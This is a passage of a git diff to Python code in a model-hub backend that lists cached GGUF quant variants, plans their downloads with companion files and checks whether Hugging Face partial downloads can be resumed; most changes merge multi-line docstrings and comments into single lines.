holds every revision, so a caller that then reads metadata from wherever this- listing came from needs the snapshot, not the dir: the dir includes revisions it skipped.- """+ """``list_gguf_variants_from_hf_cache`` plus the snapshot it answered from. A repo dir holds every revision, so a caller that then reads metadata from wherever this listing came from needs the snapshot, not the dir: the dir includes revisions it skipped."""snapshots = (iter_hf_cache_snapshots(repo_id, root = root)if root is not None@@ -1112,12 +958,7 @@ def merge_sibling_snapshot_variants(selected: tuple[list[GgufVariantInfo], bool, set, Path],root: Optional[Path] = None,) -> tuple[list[GgufVariantInfo], bool, set, Path]:- """*selected* widened with the quants the repo dir's other revisions hold.-- The selector names one directory, so an inventory built on it drops what an upstream re-upload- left elsewhere. Only safe for a row loading by repo id, which the caller establishes. One repo- dir only: a cache can hold two differing in case, and the row owns one.- """+ """*selected* widened with the quants the repo dir's other revisions hold. The selector names one directory, so an inventory built on it drops what an upstream re-upload left elsewhere. Only safe for a row loading by repo id, which the caller establishes. One repo dir only: a cache can hold two differing in case, and the row owns one."""from hub.utils.hf_cache_state import same_existing_pathfrom hub.utils.inventory_scan import complete_snapshot_variants@@ -1129,7 +970,6 @@ def merge_sibling_snapshot_variants(for index, variant in enumerate(merged):if variant.quant:held.setdefault(variant.quant.lower(), index)- # Per row, so a projector cannot outlive the row it arrived with.merged_vision: dict[str, bool] = {}changed = Falsefor other in iter_hf_cache_snapshots(repo_id, root = root):@@ -1168,25 +1008,13 @@ def merge_sibling_snapshot_variants(def list_gguf_variants_from_hf_cache(repo_id: str, root: Optional[Path] = None) -> Optional[tuple[list[GgufVariantInfo], bool, set]]:- """``(variants, has_vision, complete)`` for the snapshot a load would read.-- Everything in that snapshot is listed, so a torn download stays visible to resume or delete;- *complete* is the subset whose shards are all present, so the caller marks the rest partial- rather than ready, as the snapshot-path form of this call does.- """+ """``(variants, has_vision, complete)`` for the snapshot a load would read. Everything in that snapshot is listed, so a torn download stays visible to resume or delete; *complete* is the subset whose shards are all present, so the caller marks the rest partial rather than ready, as the snapshot-path form of this call does."""selected = select_gguf_cache_snapshot(repo_id, root = root)return selected[:3] if selected is not None else Nonedef _is_state_filename_fallback(variant: str, path: Path) -> bool:- """Whether *variant* was read off *path*'s own name rather than out of it.-- An unreadable payload leaves the reader the filename, whose fragment for an- unspellable variant is a digest. Spelling cannot tell that from a variant- genuinely called ``sha256-<32 hex>``, but the file can: a real one is stored- under the hash of itself, never under its own name. A recovered digest names- nothing -- it cannot be spelled back, and a resume would re-key it again.- """+ """Whether *variant* was read off *path*'s own name rather than out of it. An unreadable payload leaves the reader the filename, whose fragment for an unspellable variant is a digest. Spelling cannot tell that from a variant genuinely called ``sha256-<32 hex>``, but the file can: a real one is stored under the hash of itself, never under its own name. A recovered digest names nothing, since it cannot be spelled back and a resume would re-key it again."""from hub.utils.state_dir import variant_is_hashed_fragmentreturn variant_is_hashed_fragment(variant) and path.stem.lower().endswith(f"--variant--{variant.strip().lower()}"@@ -1196,17 +1024,10 @@ def _is_state_filename_fallback(variant: str, path: Path) -> bool:def list_partial_gguf_variants_from_state(repo_id: str, hub_cache: Optional[Path] = None) -> Optional[tuple[list[GgufVariantInfo], bool]]:- """Reconstruct GGUF variants from download manifests/markers alone.-- Used when no completed snapshot exists (download cancelled or interrupted)- and the HF API is unreachable (offline/gated/private). Each variant's- ``quant`` is the stored variant key so a resume passes the matching- ``--variant`` back to the worker.- """+ """Reconstruct GGUF variants from download manifests/markers alone. Used when no completed snapshot exists (download cancelled or interrupted) and the HF API is unreachable (offline/gated/private). Each variant's ``quant`` is the stored variant key so a resume passes the matching ``--variant`` back to the worker."""from hub.utils import download_manifest- # Variant identity on disk is case-insensitive, so dedupe on the lowercased key; manifests are read- # first to keep their original-casing label over a lowercased cancel marker.+ # Variant identity on disk is case-insensitive, so dedupe on the lowercased key; manifests are read first to keep their original-casing label over a lowercased cancel marker.seen: set[str] = set()ordered: list[str] = []sources = (@@ -1262,13 +1083,11 @@ def list_partial_gguf_variants_from_state(if not is_gguf_filename(expected.path):continueif is_imatrix_filename(expected.path):- # A manifest predating this filtering can still name one: it is neither weights nor a companion, so- # it counts towards neither size.+ # A manifest predating this filtering can still name one: it is neither weights nor a companion, so it counts towards neither size.imatrix_only = Truecontinueif is_mtp_drafter_path(expected.path):- # Downloaded with every variant like mmproj but not a selectable quant; counted so the shown- # download size matches what is fetched.+ # Downloaded with every variant like mmproj but not a selectable quant; counted so the shown download size matches what is fetched.companion_bytes += max(0, int(expected.size or 0))continueif is_mmproj_filename(expected.path):@@ -1280,9 +1099,7 @@ def list_partial_gguf_variants_from_state(main_filenames.append(expected.path)size_bytes += max(0, int(expected.size or 0))if main_filename is None:- # An older build could download the imatrix as a variant of its own, so naming the synthetic file- # after the variant would put that interrupted row back in the menu at zero bytes. Only when- # NOTHING eligible was found.+ # An older build could download the imatrix as a variant of its own, so naming the synthetic file after the variant would put that interrupted row back in the menu at zero bytes. Only when NOTHING eligible was found.if imatrix_only or is_imatrix_filename(variant):continuemain_filename = f"{variant}.gguf"@@ -1306,10 +1123,7 @@ def iter_snapshots_preferring_whole(gguf_variant: Optional[str],root = None,):- """Cache snapshots newest first, but ones holding *gguf_variant* whole ahead of ones short a- shard. The lister and the load both take the whole copy, so mtime order alone would read- metadata out of a newer half download nothing will load.- """+ """Cache snapshots newest first, but ones holding *gguf_variant* whole ahead of ones short a shard. The lister and the load both take the whole copy, so mtime order alone would read metadata out of a newer half download nothing will load."""ordered = list(iter_hf_cache_snapshots(repo_id, root = root))if not gguf_variant or len(ordered) < 2:return ordered@@ -1326,9 +1140,7 @@ def iter_snapshots_preferring_whole(def resolve_local_gguf_path(repo_id: str, gguf_variant: Optional[str]) -> Optional[str]:- """Absolute path to the (shard-1) GGUF file for ``repo_id`` + ``gguf_variant``- if it is already downloaded in the HF cache, else ``None``. Read-only — never- triggers a download. Lets callers read header metadata before a load."""+ """Absolute path to the (shard-1) GGUF file for ``repo_id`` + ``gguf_variant`` if it is already downloaded in the HF cache, else ``None``. Read-only, never triggers a download. Lets callers read header metadata before a load."""for snapshot in iter_snapshots_preferring_whole(repo_id, gguf_variant):variants, _ = list_local_gguf_variants(str(snapshot))for variant in variants:@@ -1340,8 +1152,7 @@ def resolve_local_gguf_path(repo_id: str, gguf_variant: Optional[str]) -> Optiondef _ready_cached_variants(cached: tuple) -> tuple[list[GgufVariantInfo], bool, None]:- """Cache result for a caller with nowhere to put readiness: drop the quants short a shard, but- keep the whole list when none is complete so the folder still shows up to manage."""+ """Cache result for a caller with nowhere to put readiness: drop the quants short a shard, but keep the whole list when none is complete so the folder still shows up to manage."""variants, has_vision, complete = cachedwhole = [v for v in variants if not v.quant or v.quant in complete]return whole or variants, has_vision, None@@ -1396,10 +1207,7 @@ def list_gguf_variants(if is_mmproj_filename(filename):has_vision = Truecontinue- # The two extractors disagree on F16-be-checkpoint-Q4_K_M shapes; judge with the loader's label so- # no row is advertised for a file the detector refuses.- # The two extractors disagree on F16-be-checkpoint-Q4_K_M shapes; judge with the loader's label so no- # row is listed for a file the local detector refuses.+ # The two extractors disagree on F16-be-checkpoint-Q4_K_M shapes; judge with the loader's label so no row is advertised for a file the local detector refuses.from utils.models.model_config import _extract_quant_label as _loader_quantif is_big_endian_gguf_path(filename, _loader_quant(filename)):@@ -1465,19 +1273,14 @@ def list_local_gguf_variants(main_files: list[tuple[str, int]] = []has_vision = False- # Match the cache dir of ANY H3 bundle repo: the aggregation runs over whichever mirror the user- # actually downloaded.- # A whole SEGMENT, not a substring: "models--unsloth--MiniMax-H3-GGUF-mirror" (and -v2, -i1)- # contains the marker while being an ordinary chat repo, and the denoiser filter then left it- # with no quants -- which withholds the auto-switch entry, so a downloaded model 404s.+ # Match the cache dir of ANY H3 bundle repo: the aggregation runs over whichever mirror the user actually downloaded. A whole SEGMENT, not a substring: "models--unsloth--MiniMax-H3-GGUF-mirror" (and -v2, -i1) contains the marker while being an ordinary chat repo, and the denoiser filter then left it with no quants, which withholds the auto-switch entry so a downloaded model 404s.segments = set(root.as_posix().lower().split("/"))h3_bundle_repo = next((r for r in _H3_BUNDLE_REPOS if f"models--{r.replace('/', '--')}" in segments), None)for file in sorted(iter_gguf_files(root, recursive = True)):- # Off by default: the Hub lists the dangling link an evicted blob leaves, so a user- # can see and clean that quant. Only a caller advertising what it loads excludes it.+ # Off by default: the Hub lists the dangling link an evicted blob leaves, so a user can see and clean that quant. Only a caller advertising what it loads excludes it.if require_existing_files and not _is_existing_file(file):continueif h3_bundle_repo and not _is_selectable_repo_gguf(h3_bundle_repo, file.name):@@ -1485,8 +1288,7 @@ def list_local_gguf_variants(if is_imatrix_filename(file.name):continueif is_mmproj_filename(file.name):- # Header metadata distinguishes vision projectors from audio-only ones, read only when Windows- # reports the file fully present: opening a cloud placeholder would recall it during discovery.+ # Header metadata distinguishes vision projectors from audio-only ones, read only when Windows reports the file fully present: opening a cloud placeholder would recall it during discovery.try:info = file.stat()has_vision = has_vision or (diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.pyindex 1fb8742c156..7daac80d60e 100644--- a/studio/backend/hub/utils/gguf_plan.py+++ b/studio/backend/hub/utils/gguf_plan.py@@ -67,25 +67,18 @@ def expected_file_from_sibling(sibling) -> Optional[ExpectedFile]:def is_companion_gguf_path(path: str) -> bool:- """Companion (non-main) GGUF downloaded alongside a variant: the vision- mmproj or the separate MTP drafter (Gemma 4)."""+ """Companion (non-main) GGUF downloaded alongside a variant: the vision mmproj or the separate MTP drafter (Gemma 4)."""return is_gguf_filename(path) and (is_mmproj_filename(path) or is_mtp_drafter_path(path))def is_main_gguf_variant_path(path: str, variant: str) -> bool:- """Whether *path* is one of *variant*'s own weight files.-- Keyed on :func:`gguf_variant_key`, in lockstep with the listers: a row built under- one identity and matched under another produces a variant that can be shown but- not downloaded.- """+ """Whether *path* is one of *variant*'s own weight files. Keyed on :func:`gguf_variant_key`, in lockstep with the listers: a row built under one identity and matched under another produces a variant that can be shown but not downloaded."""return (is_gguf_filename(path)and not is_mmproj_filename(path)and not is_mtp_drafter_path(path)and not is_imatrix_filename(path)- # The endian predicate reads a quant TOKEN, so hand it the label: given the qualified key it- # cannot see a parent-only quant and drops the file, leaving the plan with no main files.+ # The endian predicate reads a quant TOKEN, so hand it the label: given the qualified key it cannot see a parent-only quant and drops the file, leaving the plan with no main files.and not is_big_endian_gguf_path(path, extract_quant_label(path))and gguf_variant_key(path).lower() == variant.lower())@@ -114,13 +107,7 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]:def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]:- """The separate MTP drafter to fetch with every variant: the repo-root- ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery- (Gemma 4). Same pick as the loader's drafter resolution (root-level- ``mtp-`` prefix, first in sort order) so download and load resolve the same- file; the higher-precision ``MTP/`` subdir copies are for explicit- selection and are not auto-fetched. None for repos with the head baked into- the main GGUF (Qwen)."""+ """The separate MTP drafter to fetch with every variant: the repo-root ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery (Gemma 4). Same pick as the loader's drafter resolution (root-level ``mtp-`` prefix, first in sort order) so download and load resolve the same file; the higher-precision ``MTP/`` subdir copies are for explicit selection and are not auto-fetched. None for repos with the head baked into the main GGUF (Qwen)."""# Root-level only: the MTP/ subdir copies now share the mtp- prefix too.candidates = sorted((@@ -138,15 +125,7 @@ def preferred_dflash_sibling(weight_name: Optional[str] = None,other_weight_names: Sequence[str] = (),) -> Optional[object]:- """The DFlash sidecar to fetch alongside ``weight_name``.-- Root level only, like preferred_mtp_sibling: detect_dflash_file never offers a- nested ``quants/dflash-*.gguf``, and a listing cannot read a header, so matching- the basename would plan a whole ordinary weight nothing could reject in time.-- Ordered by dflash_repo_preference_key, as the download, snapshot reuse and offline- cache are, so the manifest promises the file the loader launches.- """+ """The DFlash sidecar to fetch alongside ``weight_name``. Root level only, like preferred_mtp_sibling: detect_dflash_file never offers a nested ``quants/dflash-*.gguf``, and a listing cannot read a header, so matching the basename would plan a whole ordinary weight nothing could reject in time. Ordered by dflash_repo_preference_key, as the download, snapshot reuse and offline cache are, so the manifest promises the file the loader launches."""from utils.models.drafters import dflash_repo_preference_keycandidates = [@@ -173,17 +152,11 @@ def dflash_plan_files() -> tuple[ExpectedFile, ...]:"""Every shard of the DFlash sidecar to plan alongside ``weight_name``, or ().- Whole shard family, not the ranked file alone: the loader refuses an incomplete- split set, so planning shard 1 reports the variant complete and then loses DFlash.- A half-published family is dropped for the same reason.+ Whole shard family, not the ranked file alone: the loader refuses an incomplete split set, so planning shard 1 reports the variant complete and then loses DFlash. A half-published family is dropped for the same reason.- Bounded by ``max_bytes``, the variant's own weights. ``dflash-`` is a prefix real- weights carry (Lucebox/Qwen3.6-27B-DFlash-GGUF) and a listing cannot read the- ``general.architecture`` the loader rejects them by, but a drafter is a few layers- of its target and cannot outweigh it. An unknown size stays out.+ Bounded by ``max_bytes``, the variant's own weights: ``dflash-`` is a prefix real weights carry (Lucebox/Qwen3.6-27B-DFlash-GGUF) and a listing cannot read the ``general.architecture`` the loader rejects them by, but a drafter is a few layers of its target and cannot outweigh it. An unknown size stays out.- Both rules filter BEFORE the ranking, so an oversized or half-published name at the- top steps aside for a usable sidecar behind it.+ Both rules filter BEFORE the ranking, so an oversized or half-published name at the top steps aside for a usable sidecar behind it."""from utils.models.drafters import dflash_repo_preference_key, split_listing_is_complete@@ -217,9 +190,7 @@ def dflash_plan_files(def build_gguf_variant_plans(siblings: Sequence) -> dict[str, GgufVariantPlan]:- # Family grouping keeps the family holding the lexicographically first name, which is the "._"- # one, so the plan fetched the sidecar and marked the variant complete, leaving header-based local- # discovery no main GGUF to load.+ # Family grouping keeps the family holding the lexicographically first name, which is the "._" one, so the plan fetched the sidecar and marked the variant complete, leaving header-based local discovery no main GGUF to load.siblings = drop_shadowed_appledouble_siblings(list(siblings))main: dict[str, list] = {}all_mmproj = mmproj_siblings(siblings)@@ -239,22 +210,17 @@ def build_gguf_variant_plans(siblings: Sequence) -> dict[str, GgufVariantPlan]:name = _gguf_rfilename(sibling)if name is None:continue- # Keep companions out of the quant grouping so a drafter never lands in a variant's main files: the- # root mtp-*.gguf carries a quant label.- # An imatrix leaves entirely rather than joining companions_expected: no variant needs llama-- # quantize's calibration data downloaded.+ # Keep companions out of the quant grouping so a drafter never lands in a variant's main files: the root mtp-*.gguf carries a quant label. An imatrix leaves entirely rather than joining companions_expected, since no variant needs llama-quantize's calibration data downloaded.if is_mmproj_filename(name) or is_mtp_drafter_path(name) or is_imatrix_filename(name):continuequant = gguf_variant_key(name).lower()- # The endian predicate reads a quant TOKEN, so a qualified key would make it misread the path and- # drop the file from every plan.+ # The endian predicate reads a quant TOKEN, so a qualified key would make it misread the path and drop the file from every plan.if is_big_endian_gguf_path(name, extract_quant_label(name)):continuemain.setdefault(quant, []).append(sibling)plans: dict[str, GgufVariantPlan] = {}- # Every weight in the listing, so the ranking can tell a sidecar naming a neighbouring family from- # one naming this variant's.+ # Every weight in the listing, so the ranking can tell a sidecar naming a neighbouring family from one naming this variant's.all_weight_names = [name.rsplit("/", 1)[-1]for quant_siblings in main.values()@@ -267,9 +233,7 @@ def build_gguf_variant_plans(siblings: Sequence) -> dict[str, GgufVariantPlan]:for sibling in target_main_siblingsif (file := expected_file_from_sibling(sibling)) is not None)- # Per variant, unlike mmproj and the MTP drafter: ranked against the weight being fetched, and- # against the family plan_from_expected_files KEEPS, or a two-family variant key pairs the wrong- # sidecar.+ # Per variant, unlike mmproj and the MTP drafter: ranked against the weight being fetched, and against the family plan_from_expected_files KEEPS, or a two-family variant key pairs the wrong sidecar.kept_main = _one_shard_family(main_expected)target_weight_name = (min(file.path for file in kept_main).rsplit("/", 1)[-1] if kept_main else None@@ -298,16 +262,9 @@ def build_gguf_variant_plans(siblings: Sequence) -> dict[str, GgufVariantPlan]:def plan_for_variant(plans: dict[str, GgufVariantPlan], variant: str) -> Optional[GgufVariantPlan]:"""The plan for *variant*, accepting a bare quant when exactly one plan carries it.- A repo that files every variant under one shared container (``weights/model-Q4_K_M.gguf``)- qualifies every key, because the key is a pure function of the path and cannot know that the- directory disambiguates nothing. Every stored pin and every explicit ``repo:Q4_K_M`` then- missed the plan map and the worker exited with "No GGUF shards matching variant".+ A repo that files every variant under one shared container (``weights/model-Q4_K_M.gguf``) qualifies every key, because the key is a pure function of the path and cannot know that the directory disambiguates nothing. Every stored pin and every explicit ``repo:Q4_K_M`` then missed the plan map and the worker exited with "No GGUF shards matching variant".- Resolved at LOOKUP rather than by aliasing the map, so the key stays a pure function of the- path -- the remote listing and a partial cache scan have to agree on it -- and the advertised- rows stay one per checkpoint. Only when the bare name is UNAMBIGUOUS: a repo that really does- hold several checkpoints at one quant gets no fallback, because there the bare name genuinely- does not name one of them.+ Resolved at LOOKUP rather than by aliasing the map, so the key stays a pure function of the path (the remote listing and a partial cache scan have to agree on it) and the advertised rows stay one per checkpoint. Only when the bare name is UNAMBIGUOUS: a repo that really does hold several checkpoints at one quant gets no fallback, because there the bare name genuinely does not name one of them."""wanted = (variant or "").strip().lower()if not wanted:@@ -315,23 +272,13 @@ def plan_for_variant(plans: dict[str, GgufVariantPlan], variant: str) -> Optionaexact = plans.get(wanted)if exact is not None:return exact- # PATH-qualified keys only, not is_qualified_gguf_variant_key: an H3 root stem's bare quant names- # both partitions, and picking either would load a different task.+ # PATH-qualified keys only, not is_qualified_gguf_variant_key: an H3 root stem's bare quant names both partitions, and picking either would load a different task.matches = [key for key in plans if "/" in key and bare_quant_alias(key).lower() == wanted]return plans[matches[0]] if len(matches) == 1 else Nonedef _one_shard_family(main_files: Sequence[ExpectedFile]) -> tuple[ExpectedFile, ...]:- """Narrow a variant's weight files to the single shard family a load would read.-- A repo can ship one quant twice under names that share a variant key -- the same- BF16 as ``QwQ-32B-BF16-*`` and ``QwQ-32B.BF16-*``, or one Q6_K under both ``Q6_K/``- and ``<model>-Q6_K/``. Fetching both doubles the download and leaves the variant- permanently short of its expected bytes, because the loader only ever opens one.- Keep the family holding the lexicographically first file, the shard the lister- advertises and the loader opens. A genuinely split GGUF is one family, so all of- its shards survive this untouched.- """+ """Narrow a variant's weight files to the single shard family a load would read. A repo can ship one quant twice under names that share a variant key, the same BF16 as ``QwQ-32B-BF16-*`` and ``QwQ-32B.BF16-*``, or one Q6_K under both ``Q6_K/`` and ``<model>-Q6_K/``; fetching both doubles the download and leaves the variant permanently short of its expected bytes, because the loader only ever opens one. Keep the family holding the lexicographically first file, the shard the lister advertises and the loader opens. A genuinely split GGUF is one family, so all of its shards survive untouched."""if len(main_files) < 2:return tuple(main_files)families: dict[str, list[ExpectedFile]] = {}@@ -353,9 +300,7 @@ def plan_from_expected_files(expected = tuple(expected_files)all_main = tuple(file for file in expected if is_main_gguf_variant_path(file.path, variant))main_files = _one_shard_family(all_main)- # A discarded family has to leave the plan ENTIRELY: target_filenames, required_hashes and- # download_size_bytes are what the worker fetches, so leaving the copy there downloaded it, then- # reclaim deleted it as not-ours (absent from main_hashes) and the job fetched it again.+ # A discarded family has to leave the plan ENTIRELY: target_filenames, required_hashes and download_size_bytes are what the worker fetches, so leaving the copy there downloaded it, then reclaim deleted it as not-ours (absent from main_hashes) and the job fetched it again.kept = {file.path for file in main_files}expected = tuple(file for file in expected if file not in all_main or file.path in kept)companion_files = tuple(file for file in expected if is_companion_gguf_path(file.path))diff --git a/studio/backend/hub/utils/hf_cache_state.py b/studio/backend/hub/utils/hf_cache_state.pyindex 0042b9cb961..a073a6abccc 100644--- a/studio/backend/hub/utils/hf_cache_state.py+++ b/studio/backend/hub/utils/hf_cache_state.py@@ -18,8 +18,7 @@ EXIT_CANCELLED = 130TRANSPORT_HTTP = "http"TRANSPORT_XET = "xet"VALID_TRANSPORTS = frozenset({TRANSPORT_HTTP, TRANSPORT_XET})-# A request preference, deliberately NOT in VALID_TRANSPORTS: the on-disk .transport marker must-# keep naming the writer that produced a partial, or a resume picks the wrong strategy.+# A request preference, deliberately NOT in VALID_TRANSPORTS: the on-disk .transport marker must keep naming the writer that produced a partial, or a resume picks the wrong strategy.TRANSPORT_AUTO = "auto"VALID_TRANSPORT_MODES = frozenset({TRANSPORT_HTTP, TRANSPORT_XET, TRANSPORT_AUTO})TRANSPORT_MARKER_NAME = ".transport"@@ -30,14 +29,7 @@ _PROCESS_UNIQUE_PARTIAL_RE = re.compile(def incomplete_blob_hash(name: str) -> Optional[str]:- """Return the logical HF blob hash represented by a partial filename.-- huggingface_hub historically wrote ``<etag>.incomplete``. Version 1.18- changed the writer to a process-unique ``<etag>.<8 hex>.incomplete`` path- before atomically moving it into place. Hub etags used as cache blob names- are Git SHA-1 or LFS SHA-256 hex digests, which lets us remove the nonce- without mis-parsing an arbitrary legacy filename containing a dot.- """+ """Return the logical HF blob hash represented by a partial filename. huggingface_hub historically wrote ``<etag>.incomplete``; version 1.18 changed the writer to a process-unique ``<etag>.<8 hex>.incomplete`` path before atomically moving it into place. Hub etags used as cache blob names are Git SHA-1 or LFS SHA-256 hex digests, which lets us remove the nonce without mis-parsing an arbitrary legacy filename containing a dot."""if not name.endswith(INCOMPLETE_SUFFIX):return Nonestem = name[: -len(INCOMPLETE_SUFFIX)]@@ -50,36 +42,12 @@ def incomplete_blob_hash(name: str) -> Optional[str]:# The last huggingface_hub line whose partials a later attempt can append to._LAST_RESUMABLE_PARTIAL_VERSION = (1, 17)-# huggingface_hub writes to a partial continuously, so anything still advancing has a live writer,-# possibly a client in another process no registry here can see.+# huggingface_hub writes to a partial continuously, so anything still advancing has a live writer, possibly a client in another process no registry here can see.ABANDONED_PARTIAL_SECONDS = 120def hf_partials_are_resumable(hub_cache: Optional[str] = None) -> bool:- """Whether an interrupted download leaves bytes the next attempt can reuse.-- Up to 1.17 huggingface_hub appended to a shared ``<etag>.incomplete`` and restarted from- its length over a Range request. 1.18 moved the writer to a process-unique- ``<etag>.<nonce>.incomplete``, opened ``"wb"`` and unlinked in a ``finally``- (huggingface/huggingface_hub#4228), so an interrupted file is refetched from zero and- whatever partial survives a hard kill can never be read again.-- An unreadable version answers True: not knowing which writer is installed is not grounds- for deleting bytes that may still be resumable.-- On 1.18+ this also asks whether the download worker will put the 1.17 writer back- (:mod:`hub.utils.resumable_partials`), since a restored resumer makes partials reusable again.- That half turns on the filesystem the partial is on, so *hub_cache* names the root being asked- about. Unsloth remembers several and they need not lock alike: without it, a selected cache on a- network mount would condemn a local cache's partials to the abandoned-partial sweep. Omitting it- asks about the cache in force, which is where a new download lands.-- Deliberately not cached here. The verdict is a fact about a filesystem, not about a path, so a- result keyed on the path alone survives a remount at the same name and outlives a momentary- failure to probe. The expensive part, the lock probe, is cached in- :mod:`hub.utils.resumable_partials` against the mounted device instead, and a probe that could- not run raises rather than answering, so nothing remembers a bad moment.- """+ """Whether an interrupted download leaves bytes the next attempt can reuse. Up to 1.17 huggingface_hub appended to a shared ``<etag>.incomplete`` and restarted from its length over a Range request; 1.18 moved the writer to a process-unique ``<etag>.<nonce>.incomplete``, opened ``"wb"`` and unlinked in a ``finally`` (huggingface/huggingface_hub#4228), so an interrupted file is refetched from zero and whatever partial survives a hard kill can never be read again. An unreadable version answers True: not knowing which writer is installed is not grounds for deleting bytes that may still be resumable. On 1.18+ this also asks whether the download worker will put the 1.17 writer back (:mod:`hub.utils.resumable_partials`), since a restored resumer makes partials reusable again; that half turns on the filesystem the partial is on, so *hub_cache* names the root being asked about, because Unsloth remembers several and they need not lock alike, and without it a selected cache on a network mount would condemn a local cache's partials to the abandoned-partial sweep. Omitting it asks about the cache in force, which is where a new download lands. Deliberately not cached here: the verdict is a fact about a filesystem, not about a path, so a result keyed on the path alone survives a remount at the same name and outlives a momentary failure to probe. The expensive part, the lock probe, is cached in :mod:`hub.utils.resumable_partials` against the mounted device instead, and a probe that could not run raises rather than answering, so nothing remembers a bad moment."""try:from huggingface_hub import __version__ as hf_versionexcept Exception: # noqa: BLE001 - an unimportable hub is the caller's problem, not ours@@ -113,11 +81,7 @@ def hf_partials_are_resumable(hub_cache: Optional[str] = None) -> bool:def invalidate_partial_resumability() -> None:- """Re-decide resumability, for when the cache moves to another filesystem.-- The verdict depends on whether ``flock`` excludes a second writer where the partial lands, so- it cannot be carried over from the old root.- """+ """Re-decide resumability, for when the cache moves to another filesystem. The verdict depends on whether ``flock`` excludes a second writer where the partial lands, so it cannot be carried over from the old root."""try:from hub.utils.resumable_partials import invalidate_probe_cacheinvalidate_probe_cache()@@ -133,18 +97,10 @@ def partial_is_process_unique(name: str) -> bool:def blob_download_lock_held(entry: Path, blob_hash: str) -> bool:- """Whether some process holds huggingface_hub's per-blob download lock right now.-- hf takes ``<hub cache>/.locks/<repo dir>/<etag>.lock`` for the whole of a file download, so- a lock we cannot take means a live writer -- including a client in another process that no- peer registry here can see. It answers False when the lock cannot be probed at all, since- upstream calls the lock best-effort and some filesystems grant it to everyone; callers pair- it with a staleness check rather than trusting it alone.- """+ """Whether some process holds huggingface_hub's per-blob download lock right now. hf takes ``<hub cache>/.locks/<repo dir>/<etag>.lock`` for the whole of a file download, so a lock we cannot take means a live writer, including a client in another process that no peer registry here can see. It answers False when the lock cannot be probed at all, since upstream calls the lock best-effort and some filesystems grant it to everyone; callers pair it with a staleness check rather than trusting it alone."""lock_path = entry.parent / ".locks" / entry.name / f"{blob_hash}.lock"if not lock_path.exists():- # hf creates the lock file before taking the lock, so no file means no writer; it is also the answer- # for a SoftFileLock, whose file IS the lock.+ # hf creates the lock file before taking the lock, so no file means no writer; it is also the answer for a SoftFileLock, whose file IS the lock.return Falsetry:from filelock import FileLock, Timeout@@ -156,43 +112,19 @@ def blob_download_lock_held(entry: Path, blob_hash: str) -> bool:except Timeout:return Trueexcept Exception: # noqa: BLE001 - deliberately broad, see below- # A filesystem without flock raises NotImplementedError, which upstream answers by retrying as a- # SoftFileLock; retrying is pointless for a PROBE, since we only reach here because the file- # exists. What matters is that the exception does not escape: a wrong "free" deletes a live- # writer's file.+ # A filesystem without flock raises NotImplementedError, which upstream answers by retrying as a SoftFileLock; retrying is pointless for a PROBE, since we only reach here because the file exists. What matters is that the exception does not escape: a wrong "free" deletes a live writer's file.return Truedef partial_is_resumable(name: str, hub_cache: Optional[Path | str] = None) -> bool:- """Whether any later attempt could append to this particular partial.-- Two conditions, and the layout half matters on its own: a nonce partial is private to the- process that created it, so even a legacy writer will not reopen it. That combination is- reachable whenever caches are shared across environments, which this repo's own pins- produce (Python 3.10+ takes hub >= 1.23, older takes 0.36.2, one cache between them).-- *hub_cache* is the root the partial lives under. Callers walking more than one cache must pass- it, since the answer is partly a property of that root's filesystem.- """+ """Whether any later attempt could append to this particular partial. Two conditions, and the layout half matters on its own: a nonce partial is private to the process that created it, so even a legacy writer will not reopen it, and that combination is reachable whenever caches are shared across environments, which this repo's own pins produce (Python 3.10+ takes hub >= 1.23, older takes 0.36.2, one cache between them). *hub_cache* is the root the partial lives under; callers walking more than one cache must pass it, since the answer is partly a property of that root's filesystem."""if partial_is_process_unique(name):return Falsereturn hf_partials_are_resumable(str(hub_cache) if hub_cache is not None else None)def _safe_is_dir(path: Path, scan_errors: Optional[list] = None) -> bool:- """``Path.is_dir()`` returning False instead of raising when the path or a- parent is unreadable (e.g. a restricted ``~/.cache/huggingface/hub``), so- cache enumeration skips that root rather than 500ing.-- ``scan_errors`` collects the swallowed error. A caller that only wants the dirs does not- care, but "we could not even stat the root" and "the root is not there" are different- answers to a hydrating job -- the first is not evidence the cache was deleted.-- os.stat, not Path.is_dir(): as of 3.14 is_dir() answers False for EVERY OSError instead of- raising some and suppressing others, so the handler below could never see a permission or- network-mount failure and the root was recorded as a measured absence. Stat says which it- was.- """+ """``Path.is_dir()`` returning False instead of raising when the path or a parent is unreadable (e.g. a restricted ``~/.cache/huggingface/hub``), so cache enumeration skips that root rather than 500ing. ``scan_errors`` collects the swallowed error: a caller that only wants the dirs does not care, but "we could not even stat the root" and "the root is not there" are different answers to a hydrating job, and the first is not evidence the cache was deleted. os.stat, not Path.is_dir(): as of 3.14 is_dir() answers False for EVERY OSError instead of raising some and suppressing others, so the handler below could never see a permission or network-mount failure and the root was recorded as a measured absence."""try:return stat_module.S_ISDIR(os.stat(path).st_mode)except (FileNotFoundError, NotADirectoryError):@@ -241,9 +173,7 @@ def hf_cache_roots(scan_errors: Optional[list] = None) -> list[Path]:try:key = str(path.resolve())except OSError as exc:- # A root that stats but will not resolve is a root we could not read, not one that is gone:- # dropping it silently let the progress scan answer "measured, no cache", which retires a download- # whose files may be intact.+ # A root that stats but will not resolve is a root we could not read, not one that is gone: dropping it silently let the progress scan answer "measured, no cache", which retires a download whose files may be intact.if scan_errors is not None:scan_errors.append(exc)return@@ -289,17 +219,12 @@ def _blob_dir_is_partial(blobs_dir: Path) -> bool:def blob_bytes_present(path: Path) -> int:- """Sparse-aware on-disk size: XET/``hf_transfer`` ``.incomplete`` partials- report a full ``st_size`` while only some blocks are allocated, so prefer- ``st_blocks``, falling back to ``st_size`` where it is unreported (Windows,- some network filesystems)."""+ """Sparse-aware on-disk size: XET/``hf_transfer`` ``.incomplete`` partials report a full ``st_size`` while only some blocks are allocated, so prefer ``st_blocks``, falling back to ``st_size`` where it is unreported (Windows, some network filesystems)."""st = path.stat()blocks = getattr(st, "st_blocks", None)if blocks is not None and blocks > 0:return min(blocks * 512, st.st_size)- # A present zero is not a missing field: a parallel writer that sets the partial to its final- # length before its first chunk lands sits exactly here, and a mount that never populates- # st_blocks looks the same, so confirm the emptiness directly before believing st_size.+ # A present zero is not a missing field: a parallel writer that sets the partial to its final length before its first chunk lands sits exactly here, and a mount that never populates st_blocks looks the same, so 